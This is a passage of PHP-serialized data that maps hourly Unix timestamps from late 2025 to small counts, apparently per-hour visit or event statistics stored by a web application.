}i:1762171200;a:1:{i:0;i:7;}i:1762174800;a:1:{i:0;i:8;}i:1762178400;a:1:{i:0;i:9;}i:1762182000;a:1:{i:0;i:5;}i:1762185600;a:1:{i:0;i:12;}i:1762189200;a:1:{i:0;i:5;}i:1762192800;a:1:{i:0;i:6;}i:1762196400;a:1:{i:0;i:4;}i:1762200000;a:1:{i:0;i:5;}i:1762203600;a:1:{i:0;i:4;}i:1762207200;a:1:{i:0;i:17;}i:1762210800;a:1:{i:0;i:12;}i:1762214400;a:1:{i:0;i:6;}i:1762218000;a:1:{i:0;i:5;}i:1762221600;a:1:{i:0;i:6;}i:1762225200;a:1:{i:0;i:11;}i:1762228800;a:1:{i:0;i:6;}i:1762232400;a:1:{i:0;i:19;}i:1762236000;a:1:{i:0;i:19;}i:1762239600;a:1:{i:0;i:20;}i:1762243200;a:1:{i:0;i:18;}i:1762246800;a:1:{i:0;i:22;}i:1762250400;a:1:{i:0;i:8;}i:1762254000;a:1:{i:0;i:8;}i:1762257600;a:1:{i:0;i:3;}i:1762261200;a:1:{i:0;i:7;}i:1762264800;a:1:{i:0;i:4;}i:1762268400;a:1:{i:0;i:6;}i:1762272000;a:1:{i:0;i:10;}i:1762275600;a:1:{i:0;i:9;}i:1762279200;a:1:{i:0;i:8;}i:1762282800;a:1:{i:0;i:8;}i:1762286400;a:1:{i:0;i:11;}i:1762290000;a:1:{i:0;i:7;}i:1762293600;a:1:{i:0;i:5;}i:1762297200;a:1:{i:0;i:2;}i:1762300800;a:1:{i:0;i:1;}i:1762304400;a:1:{i:0;i:4;}i:1762308000;a:1:{i:0;i:2;}i:1762311600;a:1:{i:0;i:5;}i:1762318800;a:1:{i:0;i:1;}i:1762322400;a:1:{i:0;i:4;}i:1762326000;a:1:{i:0;i:1;}i:1762329600;a:1:{i:0;i:4;}i:1762333200;a:1:{i:0;i:14;}i:1762336800;a:1:{i:0;i:18;}i:1762340400;a:1:{i:0;i:15;}i:1762344000;a:1:{i:0;i:19;}i:1762347600;a:1:{i:0;i:16;}i:1762351200;a:1:{i:0;i:12;}i:1762354800;a:1:{i:0;i:21;}i:1762358400;a:1:{i:0;i:18;}i:1762362000;a:1:{i:0;i:16;}i:1762365600;a:1:{i:0;i:14;}i:1762369200;a:1:{i:0;i:17;}i:1762372800;a:1:{i:0;i:16;}i:1762376400;a:1:{i:0;i:14;}i:1762380000;a:1:{i:0;i:14;}i:1762383600;a:1:{i:0;i:18;}i:1762387200;a:1:{i:0;i:14;}i:1762390800;a:1:{i:0;i:15;}i:1762394400;a:1:{i:0;i:14;}i:1762398000;a:1:{i:0;i:14;}i:1762401600;a:1:{i:0;i:15;}i:1762405200;a:1:{i:0;i:13;}i:1762408800;a:1:{i:0;i:9;}i:1762412400;a:1:{i:0;i:11;}i:1762416000;a:1:{i:0;i:7;}i:1762419600;a:1:{i:0;i:5;}i:1762423200;a:1:{i:0;i:6;}i:1762426800;a:1:{i:0;i:15;}i:1762430400;a:1:{i:0;i:6;}i:1762434000;a:1:{i:0;i:4;}i:1762437600;a:1:{i:0;i:8;}i:1762441200;a:1:{i:0;i:12;}i:1762444800;a:1:{i:0;i:6;}i:1762448400;a:1:{i:0;i:3;}i:1762452000;a:1:{i:0;i:7;}i:1762455600;a:1:{i:0;i:6;}i:1762459200;a:1:{i:0;i:6;}i:1762462800;a:1:{i:0;i:8;}i:1762466400;a:1:{i:0;i:7;}i:1762470000;a:1:{i:0;i:6;}i:1762473600;a:1:{i:0;i:6;}i:1762477200;a:1:{i:0;i:4;}i:1762480800;a:1:{i:0;i:11;}i:1762484400;a:1:{i:0;i:8;}i:1762488000;a:1:{i:0;i:3;}i:1762491600;a:1:{i:0;i:5;}i:1762495200;a:1:{i:0;i:3;}i:1762498800;a:1:{i:0;i:2;}i:1762502400;a:1:{i:0;i:7;}i:1762506000;a:1:{i:0;i:3;}i:1762509600;a:1:{i:0;i:5;}i:1762513200;a:1:{i:0;i:3;}i:1762516800;a:1:{i:0;i:4;}i:1762520400;a:1:{i:0;i:8;}i:1762524000;a:1:{i:0;i:4;}i:1762527600;a:1:{i:0;i:5;}i:1762531200;a:1:{i:0;i:7;}i:1762534800;a:1:{i:0;i:6;}i:1762538400;a:1:{i:0;i:6;}i:1762542000;a:1:{i:0;i:4;}i:1762545600;a:1:{i:0;i:10;}i:1762549200;a:1:{i:0;i:15;}i:1762552800;a:1:{i:0;i:12;}i:1762556400;a:1:{i:0;i:5;}i:1762560000;a:1:{i:0;i:8;}i:1762563600;a:1:{i:0;i:7;}i:1762567200;a:1:{i:0;i:4;}i:1762570800;a:1:{i:0;i:4;}i:1762574400;a:1:{i:0;i:4;}i:1762578000;a:1:{i:0;i:4;}i:1762581600;a:1:{i:0;i:4;}i:1762585200;a:1:{i:0;i:3;}i:1762588800;a:1:{i:0;i:8;}i:1762592400;a:1:{i:0;i:4;}i:1762596000;a:1:{i:0;i:24;}i:1762599600;a:1:{i:0;i:13;}i:1762603200;a:1:{i:0;i:5;}i:1762606800;a:1:{i:0;i:5;}i:1762610400;a:1:{i:0;i:3;}i:1762614000;a:1:{i:0;i:3;}i:1762617600;a:1:{i:0;i:7;}i:1762621200;a:1:{i:0;i:5;}i:1762624800;a:1:{i:0;i:4;}i:1762628400;a:1:{i:0;i:1;}i:1762632000;a:1:{i:0;i:4;}i:1762635600;a:1:{i:0;i:3;}i:1762639200;a:1:{i:0;i:5;}i:1762642800;a:1:{i:0;i:9;}i:1762646400;a:1:{i:0;i:6;}i:1762650000;a:1:{i:0;i:5;}i:1762653600;a:1:{i:0;i:3;}i:1762657200;a:1:{i:0;i:5;}i:1762660800;a:1:{i:0;i:5;}i:1762664400;a:1:{i:0;i:6;}i:1762668000;a:1:{i:0;i:3;}i:1762671600;a:1:{i:0;i:8;}i:1762675200;a:1:{i:0;i:8;}i:1762678800;a:1:{i:0;i:6;}i:1762682400;a:1:{i:0;i:5;}i:1762686000;a:1:{i:0;i:8;}i:1762689600;a:1:{i:0;i:10;}i:1762693200;a:1:{i:0;i:9;}i:1762696800;a:1:{i:0;i:6;}i:1762700400;a:1:{i:0;i:3;}i:1762704000;a:1:{i:0;i:5;}i:1762707600;a:1:{i:0;i:6;}i:1762711200;a:1:{i:0;i:2;}i:1762714800;a:1:{i:0;i:6;}i:1762718400;a:1:{i:0;i:6;}i:1762722000;a:1:{i:0;i:6;}i:1762725600;a:1:{i:0;i:9;}i:1762729200;a:1:{i:0;i:5;}i:1762732800;a:1:{i:0;i:3;}i:1762736400;a:1:{i:0;i:5;}i:1762740000;a:1:{i:0;i:5;}i:1762743600;a:1:{i:0;i:6;}i:1762747200;a:1:{i:0;i:5;}i:1762750800;a:1:{i:0;i:3;}i:1762754400;a:1:{i:0;i:1;}i:1762758000;a:1:{i:0;i:3;}i:1762761600;a:1:{i:0;i:3;}i:1762765200;a:1:{i:0;i:4;}i:1762768800;a:1:{i:0;i:7;}i:1762772400;a:1:{i:0;i:9;}i:1762776000;a:1:{i:0;i:4;}i:1762779600;a:1:{i:0;i:7;}i:1762783200;a:1:{i:0;i:6;}i:1762786800;a:1:{i:0;i:8;}i:1762790400;a:1:{i:0;i:10;}i:1762794000;a:1:{i:0;i:4;}i:1762797600;a:1:{i:0;i:5;}i:1762801200;a:1:{i:0;i:3;}i:1762804800;a:1:{i:0;i:8;}i:1762808400;a:1:{i:0;i:4;}i:1762812000;a:1:{i:0;i:5;}i:1762815600;a:1:{i:0;i:7;}i:1762819200;a:1:{i:0;i:5;}i:1762822800;a:1:{i:0;i:8;}i:1762826400;a:1:{i:0;i:1;}i:1762830000;a:1:{i:0;i:6;}i:1762833600;a:1:{i:0;i:5;}i:1762837200;a:1:{i:0;i:4;}i:1762840800;a:1:{i:0;i:2;}i:1762844400;a:1:{i:0;i:2;}i:1762848000;a:1:{i:0;i:6;}i:1762851600;a:1:{i:0;i:5;}i:1762855200;a:1:{i:0;i:5;}i:1762858800;a:1:{i:0;i:4;}i:1762862400;a:1:{i:0;i:3;}i:1762866000;a:1:{i:0;i:4;}i:1762873200;a:1:{i:0;i:4;}i:1762876800;a:1:{i:0;i:10;}i:1762880400;a:1:{i:0;i:8;}i:1762884000;a:1:{i:0;i:13;}i:1762887600;a:1:{i:0;i:7;}i:1762891200;a:1:{i:0;i:5;}i:1762894800;a:1:{i:0;i:4;}i:1762898400;a:1:{i:0;i:5;}i:1762902000;a:1:{i:0;i:3;}i:1762905600;a:1:{i:0;i:1;}i:1762909200;a:1:{i:0;i:5;}i:1762912800;a:1:{i:0;i:3;}i:1762916400;a:1:{i:0;i:3;}i:1762920000;a:1:{i:0;i:5;}i:1762923600;a:1:{i:0;i:5;}i:1762927200;a:1:{i:0;i:5;}i:1762930800;a:1:{i:0;i:5;}i:1762934400;a:1:{i:0;i:6;}i:1762938000;a:1:{i:0;i:3;}i:1762941600;a:1:{i:0;i:7;}i:1762945200;a:1:{i:0;i:4;}i:1762948800;a:1:{i:0;i:11;}i:1762952400;a:1:{i:0;i:13;}i:1762956000;a:1:{i:0;i:9;}i:1762959600;a:1:{i:0;i:4;}i:1762963200;a:1:{i:0;i:5;}i:1762966800;a:1:{i:0;i:5;}i:1762970400;a:1:{i:0;i:5;}i:1762974000;a:1:{i:0;i:5;}i:1762977600;a:1:{i:0;i:6;}i:1762981200;a:1:{i:0;i:2;}i:1762984800;a:1:{i:0;i:8;}i:1762988400;a:1:{i:0;i:5;}i:1762992000;a:1:{i:0;i:6;}i:1762995600;a:1:{i:0;i:6;}i:1762999200;a:1:{i:0;i:5;}i:1763002800;a:1:{i:0;i:3;}i:1763006400;a:1:{i:0;i:3;}i:1763010000;a:1:{i:0;i:5;}i:1763013600;a:1:{i:0;i:4;}i:1763017200;a:1:{i:0;i:2;}i:1763020800;a:1:{i:0;i:4;}i:1763024400;a:1:{i:0;i:5;}i:1763028000;a:1:{i:0;i:2;}i:1763031600;a:1:{i:0;i:2;}i:1763035200;a:1:{i:0;i:3;}i:1763038800;a:1:{i:0;i:1;}i:1763042400;a:1:{i:0;i:2;}i:1763046000;a:1:{i:0;i:4;}i:1763049600;a:1:{i:0;i:7;}i:1763053200;a:1:{i:0;i:1;}i:1763056800;a:1:{i:0;i:3;}i:1763060400;a:1:{i:0;i:5;}i:1763064000;a:1:{i:0;i:14;}i:1763067600;a:1:{i:0;i:8;}i:1763071200;a:1:{i:0;i:4;}i:1763074800;a:1:{i:0;i:7;}i:1763078400;a:1:{i:0;i:1;}i:1763082000;a:1:{i:0;i:9;}i:1763085600;a:1:{i:0;i:11;}i:1763089200;a:1:{i:0;i:3;}i:1763092800;a:1:{i:0;i:3;}i:1763096400;a:1:{i:0;i:5;}i:1763100000;a:1:{i:0;i:4;}i:1763103600;a:1:{i:0;i:4;}i:1763107200;a:1:{i:0;i:4;}i:1763110800;a:1:{i:0;i:3;}i:1763114400;a:1:{i:0;i:4;}i:1763118000;a:1:{i:0;i:4;}i:1763121600;a:1:{i:0;i:5;}i:1763125200;a:1:{i:0;i:3;}i:1763128800;a:1:{i:0;i:5;}i:1763132400;a:1:{i:0;i:4;}i:1763136000;a:1:{i:0;i:1;}i:1763139600;a:1:{i:0;i:3;}i:1763143200;a:1:{i:0;i:3;}i:1763146800;a:1:{i:0;i:6;}i:1763150400;a:1:{i:0;i:3;}i:1763154000;a:1:{i:0;i:1;}i:1763157600;a:1:{i:0;i:7;}i:1763161200;a:1:{i:0;i:7;}i:1763164800;a:1:{i:0;i:9;}i:1763168400;a:1:{i:0;i:8;}i:1763172000;a:1:{i:0;i:9;}i:1763175600;a:1:{i:0;i:7;}i:1763179200;a:1:{i:0;i:10;}i:1763182800;a:1:{i:0;i:7;}i:1763186400;a:1:{i:0;i:5;}i:1763190000;a:1:{i:0;i:10;}i:1763193600;a:1:{i:0;i:4;}i:1763197200;a:1:{i:0;i:3;}i:1763200800;a:1:{i:0;i:7;}i:1763204400;a:1:{i:0;i:4;}i:1763208000;a:1:{i:0;i:5;}i:1763211600;a:1:{i:0;i:6;}i:1763215200;a:1:{i:0;i:5;}i:1763218800;a:1:{i:0;i:9;}i:1763222400;a:1:{i:0;i:4;}i:1763226000;a:1:{i:0;i:10;}i:1763229600;a:1:{i:0;i:9;}i:1763233200;a:1:{i:0;i:9;}i:1763236800;a:1:{i:0;i:7;}i:1763240400;a:1:{i:0;i:4;}i:1763244000;a:1:{i:0;i:3;}i:1763247600;a:1:{i:0;i:3;}i:1763251200;a:1:{i:0;i:2;}i:1763254800;a:1:{i:0;i:4;}i:1763258400;a:1:{i:0;i:4;}i:1763262000;a:1:{i:0;i:3;}i:1763265600;a:1:{i:0;i:7;}i:1763269200;a:1:{i:0;i:3;}i:1763272800;a:1:{i:0;i:3;}i:1763276400;a:1:{i:0;i:2;}i:1763280000;a:1:{i:0;i:2;}i:1763283600;a:1:{i:0;i:2;}i:1763287200;a:1:{i:0;i:2;}i:1763298000;a:1:{i:0;i:2;}i:1763301600;a:1:{i:0;i:4;}i:1763305200;a:1:{i:0;i:4;}i:1763308800;a:1:{i:0;i:3;}i:1763312400;a:1:{i:0;i:15;}i:1763316000;a:1:{i:0;i:4;}i:1763319600;a:1:{i:0;i:5;}i:1763323200;a:1:{i:0;i:8;}i:1763326800;a:1:{i:0;i:5;}i:1763330400;a:1:{i:0;i:4;}i:1763334000;a:1:{i:0;i:7;}i:1763337600;a:1:{i:0;i:1;}i:1763341200;a:1:{i:0;i:2;}i:1763344800;a:1:{i:0;i:5;}i:1763348400;a:1:{i:0;i:3;}i:1763352000;a:1:{i:0;i:3;}i:1763355600;a:1:{i:0;i:3;}i:1763359200;a:1:{i:0;i:5;}i:1763362800;a:1:{i:0;i:2;}i:1763366400;a:1:{i:0;i:18;}i:1763370000;a:1:{i:0;i:10;}i:1763373600;a:1:{i:0;i:18;}i:1763377200;a:1:{i:0;i:23;}i:1763380800;a:1:{i:0;i:13;}i:1763384400;a:1:{i:0;i:14;}i:1763388000;a:1:{i:0;i:18;}i:1763391600;a:1:{i:0;i:28;}i:1763395200;a:1:{i:0;i:19;}i:1763398800;a:1:{i:0;i:21;}i:1763402400;a:1:{i:0;i:21;}i:1763406000;a:1:{i:0;i:16;}i:1763409600;a:1:{i:0;i:13;}i:1763413200;a:1:{i:0;i:8;}i:1763416800;a:1:{i:0;i:5;}i:1763420400;a:1:{i:0;i:10;}i:1763424000;a:1:{i:0;i:6;}i:1763427600;a:1:{i:0;i:6;}i:1763431200;a:1:{i:0;i:8;}i:1763434800;a:1:{i:0;i:4;}i:1763438400;a:1:{i:0;i:6;}i:1763442000;a:1:{i:0;i:14;}i:1763445600;a:1:{i:0;i:8;}i:1763449200;a:1:{i:0;i:6;}i:1763452800;a:1:{i:0;i:2;}i:1763456400;a:1:{i:0;i:3;}i:1763460000;a:1:{i:0;i:7;}i:1763463600;a:1:{i:0;i:8;}i:1763467200;a:1:{i:0;i:5;}i:1763470800;a:1:{i:0;i:7;}i:1763474400;a:1:{i:0;i:5;}i:1763478000;a:1:{i:0;i:7;}i:1763481600;a:1:{i:0;i:5;}i:1763485200;a:1:{i:0;i:7;}i:1763488800;a:1:{i:0;i:12;}i:1763492400;a:1:{i:0;i:12;}i:1763496000;a:1:{i:0;i:17;}i:1763499600;a:1:{i:0;i:10;}i:1763503200;a:1:{i:0;i:15;}i:1763506800;a:1:{i:0;i:16;}i:1763510400;a:1:{i:0;i:17;}i:1763514000;a:1:{i:0;i:18;}i:1763517600;a:1:{i:0;i:14;}i:1763521200;a:1:{i:0;i:14;}i:1763524800;a:1:{i:0;i:17;}i:1763528400;a:1:{i:0;i:17;}i:1763532000;a:1:{i:0;i:20;}i:1763535600;a:1:{i:0;i:19;}i:1763539200;a:1:{i:0;i:12;}i:1763542800;a:1:{i:0;i:17;}i:1763546400;a:1:{i:0;i:4;}i:1763550000;a:1:{i:0;i:15;}i:1763553600;a:1:{i:0;i:15;}i:1763557200;a:1:{i:0;i:6;}i:1763560800;a:1:{i:0;i:4;}i:1763564400;a:1:{i:0;i:7;}i:1763568000;a:1:{i:0;i:4;}i:1763571600;a:1:{i:0;i:2;}i:1763575200;a:1:{i:0;i:6;}i:1763578800;a:1:{i:0;i:4;}i:1763582400;a:1:{i:0;i:3;}i:1763586000;a:1:{i:0;i:3;}i:1763589600;a:1:{i:0;i:6;}i:1763593200;a:1:{i:0;i:9;}i:1763596800;a:1:{i:0;i:6;}i:1763600400;a:1:{i:0;i:7;}i:1763604000;a:1:{i:0;i:7;}i:1763607600;a:1:{i:0;i:6;}i:1763611200;a:1:{i:0;i:9;}i:1763614800;a:1:{i:0;i:8;}i:1763618400;a:1:{i:0;i:2;}i:1763622000;a:1:{i:0;i:4;}i:1763625600;a:1:{i:0;i:7;}i:1763629200;a:1:{i:0;i:15;}i:1763632800;a:1:{i:0;i:2;}i:1763636400;a:1:{i:0;i:1;}i:1763640000;a:1:{i:0;i:6;}i:1763643600;a:1:{i:0;i:1;}i:1763647200;a:1:{i:0;i:9;}i:1763650800;a:1:{i:0;i:23;}i:1763654400;a:1:{i:0;i:13;}i:1763658000;a:1:{i:0;i:14;}i:1763661600;a:1:{i:0;i:22;}i:1763665200;a:1:{i:0;i:9;}i:1763668800;a:1:{i:0;i:13;}i:1763672400;a:1:{i:0;i:12;}i:1763676000;a:1:{i:0;i:7;}i:1763679600;a:1:{i:0;i:10;}i:1763683200;a:1:{i:0;i:5;}i:1763686800;a:1:{i:0;i:9;}i:1763690400;a:1:{i:0;i:9;}i:1763694000;a:1:{i:0;i:3;}i:1763697600;a:1:{i:0;i:10;}i:1763701200;a:1:{i:0;i:29;}i:1763704800;a:1:{i:0;i:21;}i:1763708400;a:1:{i:0;i:23;}i:1763712000;a:1:{i:0;i:27;}i:1763715600;a:1:{i:0;i:28;}i:1763719200;a:1:{i:0;i:23;}i:1763722800;a:1:{i:0;i:20;}i:1763726400;a:1:{i:0;i:23;}i:1763730000;a:1:{i:0;i:18;}i:1763733600;a:1:{i:0;i:22;}i:1763737200;a:1:{i:0;i:21;}i:1763740800;a:1:{i:0;i:26;}i:1763744400;a:1:{i:0;i:33;}i:1763748000;a:1:{i:0;i:29;}i:1763751600;a:1:{i:0;i:30;}i:1763755200;a:1:{i:0;i:23;}i:1763758800;a:1:{i:0;i:23;}i:1763762400;a:1:{i:0;i:18;}i:1763766000;a:1:{i:0;i:14;}i:1763769600;a:1:{i:0;i:23;}i:1763773200;a:1:{i:0;i:25;}i:1763776800;a:1:{i:0;i:15;}i:1763780400;a:1:{i:0;i:21;}i:1763784000;a:1:{i:0;i:20;}i:1763787600;a:1:{i:0;i:28;}i:1763791200;a:1:{i:0;i:23;}i:1763794800;a:1:{i:0;i:25;}i:1763798400;a:1:{i:0;i:26;}i:1763802000;a:1:{i:0;i:14;}i:1763805600;a:1:{i:0;i:1;}i:1763809200;a:1:{i:0;i:3;}i:1763816400;a:1:{i:0;i:2;}i:1763820000;a:1:{i:0;i:6;}i:1763827200;a:1:{i:0;i:2;}i:1763845200;a:1:{i:0;i:3;}i:1763848800;a:1:{i:0;i:14;}i:1763852400;a:1:{i:0;i:5;}i:1763856000;a:1:{i:0;i:1;}i:1763859600;a:1:{i:0;i:2;}i:1763863200;a:1:{i:0;i:1;}i:1763866800;a:1:{i:0;i:2;}i:1763870400;a:1:{i:0;i:1;}i:1763874000;a:1:{i:0;i:18;}i:1763877600;a:1:{i:0;i:15;}i:1763881200;a:1:{i:0;i:21;}i:1763884800;a:1:{i:0;i:13;}i:1763888400;a:1:{i:0;i:17;}i:1763892000;a:1:{i:0;i:14;}i:1763895600;a:1:{i:0;i:19;}i:1763899200;a:1:{i:0;i:14;}i:1763902800;a:1:{i:0;i:17;}i:1763906400;a:1:{i:0;i:14;}i:1763910000;a:1:{i:0;i:18;}i:1763913600;a:1:{i:0;i:18;}i:1763917200;a:1:{i:0;i:17;}i:1763920800;a:1:{i:0;i:11;}i:1763924400;a:1:{i:0;i:5;}i:1763928000;a:1:{i:0;i:1;}i:1763931600;a:1:{i:0;i:3;}i:1763935200;a:1:{i:0;i:1;}i:1763938800;a:1:{i:0;i:4;}i:1763942400;a:1:{i:0;i:3;}i:1763946000;a:1:{i:0;i:1;}i:1763949600;a:1:{i:0;i:2;}i:1763953200;a:1:{i:0;i:3;}i:1763956800;a:1:{i:0;i:1;}i:1763960400;a:1:{i:0;i:2;}i:1763964000;a:1:{i:0;i:2;}i:1763967600;a:1:{i:0;i:3;}i:1763971200;a:1:{i:0;i:2;}i:1763974800;a:1:{i:0;i:1;}i:1763978400;a:1:{i:0;i:2;}i:1763982000;a:1:{i:0;i:9;}i:1763985600;a:1:{i:0;i:18;}i:1763989200;a:1:{i:0;i:13;}i:1763992800;a:1:{i:0;i:18;}i:1763996400;a:1:{i:0;i:14;}i:1764000000;a:1:{i:0;i:21;}i:1764003600;a:1:{i:0;i:11;}i:1764007200;a:1:{i:0;i:15;}i:1764010800;a:1:{i:0;i:14;}i:1764014400;a:1:{i:0;i:15;}i:1764018000;a:1:{i:0;i:14;}i:1764021600;a:1:{i:0;i:14;}i:1764025200;a:1:{i:0;i:13;}i:1764028800;a:1:{i:0;i:11;}i:1764032400;a:1:{i:0;i:14;}i:1764036000;a:1:{i:0;i:18;}i:1764039600;a:1:{i:0;i:13;}i:1764043200;a:1:{i:0;i:16;}i:1764046800;a:1:{i:0;i:17;}i:1764050400;a:1:{i:0;i:18;}i:1764054000;a:1:{i:0;i:18;}i:1764057600;a:1:{i:0;i:18;}i:1764061200;a:1:{i:0;i:18;}i:1764064800;a:1:{i:0;i:13;}i:1764068400;a:1:{i:0;i:31;}i:1764072000;a:1:{i:0;i:19;}i:1764075600;a:1:{i:0;i:11;}i:1764079200;a:1:{i:0;i:17;}i:1764082800;a:1:{i:0;i:26;}i:1764086400;a:1:{i:0;i:20;}i:1764090000;a:1:{i:0;i:18;}i:1764093600;a:1:{i:0;i:20;}i:1764097200;a:1:{i:0;i:23;}i:1764100800;a:1:{i:0;i:25;}i:1764104400;a:1:{i:0;i:9;}i:1764108000;a:1:{i:0;i:4;}i:1764111600;a:1:{i:0;i:7;}i:1764115200;a:1:{i:0;i:2;}i:1764118800;a:1:{i:0;i:4;}i:1764122400;a:1:{i:0;i:2;}i:1764126000;a:1:{i:0;i:8;}i:1764129600;a:1:{i:0;i:3;}i:1764133200;a:1:{i:0;i:5;}i:1764136800;a:1:{i:0;i:10;}i:1764140400;a:1:{i:0;i:1;}i:1764144000;a:1:{i:0;i:4;}i:1764147600;a:1:{i:0;i:4;}i:1764151200;a:1:{i:0;i:3;}i:1764154800;a:1:{i:0;i:3;}i:1764158400;a:1:{i:0;i:3;}i:1764162000;a:1:{i:0;i:3;}i:1764165600;a:1:{i:0;i:1;}i:1764169200;a:1:{i:0;i:2;}i:1764172800;a:1:{i:0;i:12;}i:1764176400;a:1:{i:0;i:14;}i:1764180000;a:1:{i:0;i:18;}i:1764183600;a:1:{i:0;i:18;}i:1764187200;a:1:{i:0;i:15;}i:1764190800;a:1:{i:0;i:13;}i:1764194400;a:1:{i:0;i:19;}i:1764198000;a:1:{i:0;i:21;}i:1764201600;a:1:{i:0;i:15;}i:1764205200;a:1:{i:0;i:10;}i:1764208800;a:1:{i:0;i:8;}i:1764212400;a:1:{i:0;i:2;}i:1764216000;a:1:{i:0;i:2;}i:1764219600;a:1:{i:0;i:5;}i:1764223200;a:1:{i:0;i:2;}i:1764226800;a:1:{i:0;i:4;}i:1764230400;a:1:{i:0;i:3;}i:1764234000;a:1:{i:0;i:4;}i:1764237600;a:1:{i:0;i:3;}i:1764241200;a:1:{i:0;i:5;}i:1764248400;a:1:{i:0;i:5;}i:1764252000;a:1:{i:0;i:2;}i:1764255600;a:1:{i:0;i:2;}i:1764259200;a:1:{i:0;i:1;}i:1764262800;a:1:{i:0;i:3;}i:1764266400;a:1:{i:0;i:4;}i:1764270000;a:1:{i:0;i:2;}i:1764273600;a:1:{i:0;i:4;}i:1764277200;a:1:{i:0;i:4;}i:1764280800;a:1:{i:0;i:5;}i:1764284400;a:1:{i:0;i:4;}i:1764288000;a:1:{i:0;i:8;}i:1764291600;a:1:{i:0;i:2;}i:1764295200;a:1:{i:0;i:2;}i:1764298800;a:1:{i:0;i:3;}i:1764302400;a:1:{i:0;i:4;}i:1764306000;a:1:{i:0;i:3;}i:1764309600;a:1:{i:0;i:3;}i:1764313200;a:1:{i:0;i:4;}i:1764316800;a:1:{i:0;i:3;}i:1764320400;a:1:{i:0;i:4;}i:1764324000;a:1:{i:0;i:2;}i:1764327600;a:1:{i:0;i:3;}i:1764331200;a:1:{i:0;i:2;}i:1764334800;a:1:{i:0;i:3;}i:1764338400;a:1:{i:0;i:3;}i:1764342000;a:1:{i:0;i:10;}i:1764345600;a:1:{i:0;i:5;}i:1764349200;a:1:{i:0;i:4;}i:1764352800;a:1:{i:0;i:3;}i:1764356400;a:1:{i:0;i:5;}i:1764360000;a:1:{i:0;i:9;}i:1764363600;a:1:{i:0;i:4;}i:1764367200;a:1:{i:0;i:3;}i:1764370800;a:1:{i:0;i:2;}i:1764374400;a:1:{i:0;i:2;}i:1764378000;a:1:{i:0;i:2;}i:1764381600;a:1:{i:0;i:2;}i:1764385200;a:1:{i:0;i:2;}i:1764388800;a:1:{i:0;i:2;}i:1764392400;a:1:{i:0;i:1;}i:1764396000;a:1:{i:0;i:13;}i:1764399600;a:1:{i:0;i:3;}i:1764403200;a:1:{i:0;i:2;}i:1764406800;a:1:{i:0;i:2;}i:1764410400;a:1:{i:0;i:3;}i:1764414000;a:1:{i:0;i:1;}i:1764417600;a:1:{i:0;i:2;}i:1764421200;a:1:{i:0;i:5;}i:1764424800;a:1:{i:0;i:1;}i:1764432000;a:1:{i:0;i:3;}i:1764435600;a:1:{i:0;i:9;}i:1764439200;a:1:{i:0;i:6;}i:1764442800;a:1:{i:0;i:3;}i:1764446400;a:1:{i:0;i:3;}i:1764450000;a:1:{i:0;i:3;}i:1764453600;a:1:{i:0;i:1;}i:1764457200;a:1:{i:0;i:2;}i:1764460800;a:1:{i:0;i:2;}i:1764464400;a:1:{i:0;i:1;}i:1764468000;a:1:{i:0;i:4;}i:1764471600;a:1:{i:0;i:5;}i:1764475200;a:1:{i:0;i:7;}i:1764478800;a:1:{i:0;i:6;}i:1764482400;a:1:{i:0;i:9;}i:1764486000;a:1:{i:0;i:5;}i:1764489600;a:1:{i:0;i:1;}i:1764493200;a:1:{i:0;i:3;}i:1764496800;a:1:{i:0;i:1;}i:1764500400;a:1:{i:0;i:3;}i:1764504000;a:1:{i:0;i:3;}i:1764507600;a:1:{i:0;i:5;}i:1764511200;a:1:{i:0;i:4;}i:1764514800;a:1:{i:0;i:4;}i:1764518400;a:1:{i:0;i:2;}i:1764522000;a:1:{i:0;i:10;}i:1764525600;a:1:{i:0;i:7;}i:1764529200;a:1:{i:0;i:5;}i:1764532800;a:1:{i:0;i:2;}i:1764536400;a:1:{i:0;i:3;}i:1764540000;a:1:{i:0;i:6;}i:1764543600;a:1:{i:0;i:18;}i:1764547200;a:1:{i:0;i:3;}i:1764550800;a:1:{i:0;i:2;}i:1764554400;a:1:{i:0;i:4;}i:1764558000;a:1:{i:0;i:5;}i:1764561600;a:1:{i:0;i:4;}i:1764565200;a:1:{i:0;i:3;}i:1764568800;a:1:{i:0;i:1;}i:1764572400;a:1:{i:0;i:4;}i:1764576000;a:1:{i:0;i:4;}i:1764579600;a:1:{i:0;i:2;}i:1764583200;a:1:{i:0;i:3;}i:1764586800;a:1:{i:0;i:3;}i:1764590400;a:1:{i:0;i:1;}i:1764594000;a:1:{i:0;i:3;}i:1764597600;a:1:{i:0;i:17;}i:1764601200;a:1:{i:0;i:22;}i:1764604800;a:1:{i:0;i:25;}i:1764608400;a:1:{i:0;i:18;}i:1764612000;a:1:{i:0;i:10;}i:1764615600;a:1:{i:0;i:2;}i:1764619200;a:1:{i:0;i:5;}i:1764622800;a:1:{i:0;i:3;}i:1764626400;a:1:{i:0;i:3;}i:1764630000;a:1:{i:0;i:2;}i:1764633600;a:1:{i:0;i:2;}i:1764637200;a:1:{i:0;i:3;}i:1764640800;a:1:{i:0;i:6;}i:1764644400;a:1:{i:0;i:5;}i:1764648000;a:1:{i:0;i:3;}i:1764651600;a:1:{i:0;i:3;}i:1764655200;a:1:{i:0;i:3;}i:1764658800;a:1:{i:0;i:3;}i:1764662400;a:1:{i:0;i:1;}i:1764666000;a:1:{i:0;i:5;}i:1764669600;a:1:{i:0;i:2;}i:1764673200;a:1:{i:0;i:7;}i:1764676800;a:1:{i:0;i:4;}i:1764680400;a:1:{i:0;i:5;}i:1764684000;a:1:{i:0;i:4;}i:1764687600;a:1:{i:0;i:6;}i:1764691200;a:1:{i:0;i:3;}i:1764694800;a:1:{i:0;i:15;}i:1764698400;a:1:{i:0;i:4;}i:1764702000;a:1:{i:0;i:15;}i:1764705600;a:1:{i:0;i:8;}i:1764709200;a:1:{i:0;i:10;}i:1764712800;a:1:{i:0;i:6;}i:1764716400;a:1:{i:0;i:6;}i:1764720000;a:1:{i:0;i:3;}i:1764723600;a:1:{i:0;i:4;}i:1764727200;a:1:{i:0;i:7;}i:1764730800;a:1:{i:0;i:7;}i:1764734400;a:1:{i:0;i:16;}i:1764738000;a:1:{i:0;i:3;}i:1764741600;a:1:{i:0;i:6;}i:1764745200;a:1:{i:0;i:4;}i:1764748800;a:1:{i:0;i:4;}i:1764752400;a:1:{i:0;i:7;}i:1764756000;a:1:{i:0;i:2;}i:1764759600;a:1:{i:0;i:5;}i:1764763200;a:1:{i:0;i:4;}i:1764766800;a:1:{i:0;i:4;}i:1764770400;a:1:{i:0;i:2;}i:1764774000;a:1:{i:0;i:5;}i:1764777600;a:1:{i:0;i:1;}i:1764781200;a:1:{i:0;i:2;}i:176478480